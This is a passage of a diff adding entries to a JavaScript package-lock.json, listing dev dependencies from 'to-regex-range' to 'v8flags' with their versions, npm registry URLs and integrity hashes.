+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "tapable": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+ "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+ "dev": true,
+ "peer": true
+ },
+ "terser": {
+ "version": "5.19.1",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.1.tgz",
+ "integrity": "sha512-27hxBUVdV6GoNg1pKQ7Z5cbR6V9txPVyBA+FQw3BaZ1Wuzvztce5p156DaP0NVZNrMZZ+6iG9Syf7WgMNKDg2Q==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@jridgewell/source-map": "^0.3.3",
+ "acorn": "^8.8.2",
+ "commander": "^2.20.0",
+ "source-map-support": "~0.5.20"
+ },
+ "dependencies": {
+ "commander": {
+ "version": "2.20.3",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+ "dev": true,
+ "peer": true
+ }
+ }
+ },
+ "terser-webpack-plugin": {
+ "version": "5.3.9",
+ "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz",
+ "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "@jridgewell/trace-mapping": "^0.3.17",
+ "jest-worker": "^27.4.5",
+ "schema-utils": "^3.1.1",
+ "serialize-javascript": "^6.0.1",
+ "terser": "^5.16.8"
+ },
+ "dependencies": {
+ "serialize-javascript": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz",
+ "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==",
+ "dev": true,
+ "peer": true,
+ "requires": {
+ "randombytes": "^2.1.0"
+ }
+ }
+ }
+ },
+ "test-exclude": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
+ "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+ "dev": true,
+ "requires": {
+ "@istanbuljs/schema": "^0.1.2",
+ "glob": "^7.1.4",
+ "minimatch": "^3.0.4"
+ }
+ },
+ "text-table": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+ "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
+ "dev": true
+ },
+ "thenby": {
+ "version": "1.3.4",
+ "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz",
+ "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==",
+ "dev": true
+ },
+ "thenify": {
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+ "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+ "dev": true,
+ "requires": {
+ "any-promise": "^1.0.0"
+ }
+ },
+ "thenify-all": {
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+ "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+ "dev": true,
+ "requires": {
+ "thenify": ">= 3.1.0 < 4"
+ }
+ },
+ "through": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
+ "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
+ "dev": true
+ },
+ "through2": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.1.tgz",
+ "integrity": "sha512-M96dvTalPT3YbYLaKaCuwu+j06D/8Jfib0o/PxbVt6Amhv3dUAtW6rTV1jPgJSBG83I/e04Y6xkVdVhSRhi0ww==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "2 || 3"
+ }
+ },
+ "through2-filter": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/through2-filter/-/through2-filter-3.0.0.tgz",
+ "integrity": "sha512-jaRjI2WxN3W1V8/FMZ9HKIBXixtiqs3SQSX4/YGIiP3gL6djW48VoZq9tDqeCWs3MT8YY5wb/zli8VW8snY1CA==",
+ "dev": true,
+ "requires": {
+ "through2": "~2.0.0",
+ "xtend": "~4.0.0"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "time-stamp": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/time-stamp/-/time-stamp-1.1.0.tgz",
+ "integrity": "sha512-gLCeArryy2yNTRzTGKbZbloctj64jkZ57hj5zdraXue6aFgd6PmvVtEyiUU+hvU0v7q08oVv8r8ev0tRo6bvgw==",
+ "dev": true
+ },
+ "to-absolute-glob": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/to-absolute-glob/-/to-absolute-glob-2.0.2.tgz",
+ "integrity": "sha512-rtwLUQEwT8ZeKQbyFJyomBRYXyE16U5VKuy0ftxLMK/PZb2fkOsg5r9kHdauuVDbsNdIBoC/HCthpidamQFXYA==",
+ "dev": true,
+ "requires": {
+ "is-absolute": "^1.0.0",
+ "is-negated-glob": "^1.0.0"
+ }
+ },
+ "to-fast-properties": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
+ "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==",
+ "dev": true
+ },
+ "to-object-path": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
+ "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^3.0.2"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+ "to-regex": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
+ "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
+ "dev": true,
+ "requires": {
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "regex-not": "^1.0.2",
+ "safe-regex": "^1.1.0"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "to-regex-range": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+ "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+ "dev": true,
+ "requires": {
+ "is-number": "^3.0.0",
+ "repeat-string": "^1.6.1"
+ }
+ },
+ "to-through": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/to-through/-/to-through-2.0.0.tgz",
+ "integrity": "sha512-+QIz37Ly7acM4EMdw2PRN389OneM5+d844tirkGp4dPKzI5OE72V9OsbFp+CIYJDahZ41ZV05hNtcPAQUAm9/Q==",
+ "dev": true,
+ "requires": {
+ "through2": "^2.0.3"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "tough-cookie": {
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
+ "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+ "dev": true,
+ "requires": {
+ "psl": "^1.1.33",
+ "punycode": "^2.1.1",
+ "universalify": "^0.2.0",
+ "url-parse": "^1.5.3"
+ }
+ },
+ "tr46": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
+ "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
+ "dev": true,
+ "requires": {
+ "punycode": "^2.1.1"
+ }
+ },
+ "transfob": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/transfob/-/transfob-1.0.0.tgz",
+ "integrity": "sha512-8pltyWUhEM8NJdYRt5mUlnLEImxozXnmAkD4xL9MKTFyNiKuraibTiXnGbjuxtQdP9CzihRy4PR+Al7Iy2cmCw==",
+ "dev": true
+ },
+ "ts-interface-checker": {
+ "version": "0.1.13",
+ "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+ "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
+ "dev": true
+ },
+ "type": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz",
+ "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==",
+ "dev": true
+ },
+ "type-check": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+ "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+ "dev": true,
+ "requires": {
+ "prelude-ls": "^1.2.1"
+ }
+ },
+ "type-detect": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+ "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
+ "dev": true
+ },
+ "type-fest": {
+ "version": "0.8.1",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
+ "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+ "dev": true
+ },
+ "typedarray": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
+ "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==",
+ "dev": true
+ },
+ "typedarray-to-buffer": {
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+ "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+ "dev": true,
+ "requires": {
+ "is-typedarray": "^1.0.0"
+ }
+ },
+ "uc.micro": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz",
+ "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==",
+ "dev": true
+ },
+ "uglify-js": {
+ "version": "3.4.10",
+ "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz",
+ "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==",
+ "dev": true,
+ "requires": {
+ "commander": "~2.19.0",
+ "source-map": "~0.6.1"
+ },
+ "dependencies": {
+ "commander": {
+ "version": "2.19.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz",
+ "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==",
+ "dev": true
+ }
+ }
+ },
+ "unc-path-regex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz",
+ "integrity": "sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==",
+ "dev": true
+ },
+ "underscore": {
+ "version": "1.13.6",
+ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz",
+ "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==",
+ "dev": true
+ },
+ "undertaker": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/undertaker/-/undertaker-1.3.0.tgz",
+ "integrity": "sha512-/RXwi5m/Mu3H6IHQGww3GNt1PNXlbeCuclF2QYR14L/2CHPz3DFZkvB5hZ0N/QUkiXWCACML2jXViIQEQc2MLg==",
+ "dev": true,
+ "requires": {
+ "arr-flatten": "^1.0.1",
+ "arr-map": "^2.0.0",
+ "bach": "^1.0.0",
+ "collection-map": "^1.0.0",
+ "es6-weak-map": "^2.0.1",
+ "fast-levenshtein": "^1.0.0",
+ "last-run": "^1.1.0",
+ "object.defaults": "^1.0.0",
+ "object.reduce": "^1.0.0",
+ "undertaker-registry": "^1.0.0"
+ },
+ "dependencies": {
+ "fast-levenshtein": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-1.1.4.tgz",
+ "integrity": "sha512-Ia0sQNrMPXXkqVFt6w6M1n1oKo3NfKs+mvaV811Jwir7vAk9a6PVV9VPYf6X3BU97QiLEmuW3uXH9u87zDFfdw==",
+ "dev": true
+ }
+ }
+ },
+ "undertaker-registry": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/undertaker-registry/-/undertaker-registry-1.0.1.tgz",
+ "integrity": "sha512-UR1khWeAjugW3548EfQmL9Z7pGMlBgXteQpr1IZeZBtnkCJQJIJ1Scj0mb9wQaPvUZ9Q17XqW6TIaPchJkyfqw==",
+ "dev": true
+ },
+ "unicode-canonical-property-names-ecmascript": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+ "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==",
+ "dev": true
+ },
+ "unicode-match-property-ecmascript": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+ "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+ "dev": true,
+ "requires": {
+ "unicode-canonical-property-names-ecmascript": "^2.0.0",
+ "unicode-property-aliases-ecmascript": "^2.0.0"
+ }
+ },
+ "unicode-match-property-value-ecmascript": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz",
+ "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==",
+ "dev": true
+ },
+ "unicode-property-aliases-ecmascript": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
+ "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==",
+ "dev": true
+ },
+ "union-value": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+ "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
+ "dev": true,
+ "requires": {
+ "arr-union": "^3.1.0",
+ "get-value": "^2.0.6",
+ "is-extendable": "^0.1.1",
+ "set-value": "^2.0.1"
+ }
+ },
+ "unique-stream": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz",
+ "integrity": "sha512-2nY4TnBE70yoxHkDli7DMazpWiP7xMdCYqU2nBRO0UB+ZpEkGsSija7MvmvnZFUeC+mrgiUfcHSr3LmRFIg4+A==",
+ "dev": true,
+ "requires": {
+ "json-stable-stringify-without-jsonify": "^1.0.1",
+ "through2-filter": "^3.0.0"
+ }
+ },
+ "universalify": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
+ "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
+ "dev": true
+ },
+ "unset-value": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
+ "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==",
+ "dev": true,
+ "requires": {
+ "has-value": "^0.3.1",
+ "isobject": "^3.0.0"
+ },
+ "dependencies": {
+ "has-value": {
+ "version": "0.3.1",
+ "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
+ "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==",
+ "dev": true,
+ "requires": {
+ "get-value": "^2.0.3",
+ "has-values": "^0.1.4",
+ "isobject": "^2.0.0"
+ },
+ "dependencies": {
+ "isobject": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+ "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==",
+ "dev": true,
+ "requires": {
+ "isarray": "1.0.0"
+ }
+ }
+ }
+ },
+ "has-values": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+ "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==",
+ "dev": true
+ }
+ }
+ },
+ "upath": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+ "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
+ "dev": true
+ },
+ "update-browserslist-db": {
+ "version": "1.0.11",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz",
+ "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==",
+ "dev": true,
+ "requires": {
+ "escalade": "^3.1.1",
+ "picocolors": "^1.0.0"
+ }
+ },
+ "upper-case": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz",
+ "integrity": "sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==",
+ "dev": true
+ },
+ "uri-js": {
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+ "dev": true,
+ "requires": {
+ "punycode": "^2.1.0"
+ }
+ },
+ "urijs": {
+ "version": "1.19.11",
+ "resolved": "https://registry.npmjs.org/urijs/-/urijs-1.19.11.tgz",
+ "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==",
+ "dev": true
+ },
+ "urix": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+ "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==",
+ "dev": true
+ },
+ "url-parse": {
+ "version": "1.5.10",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+ "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+ "dev": true,
+ "requires": {
+ "querystringify": "^2.1.1",
+ "requires-port": "^1.0.0"
+ }
+ },
+ "use": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+ "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
+ "dev": true
+ },
+ "util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+ "dev": true
+ },
+ "uuid": {
+ "version": "8.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+ "dev": true
+ },
+ "v8-compile-cache": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz",
+ "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==",
+ "dev": true
+ },
+ "v8flags": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz",
+ "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==",
+ "dev": true,
+ "requires": {
+ "homedir-polyfill": "^1.0.1"
+ }
+ },
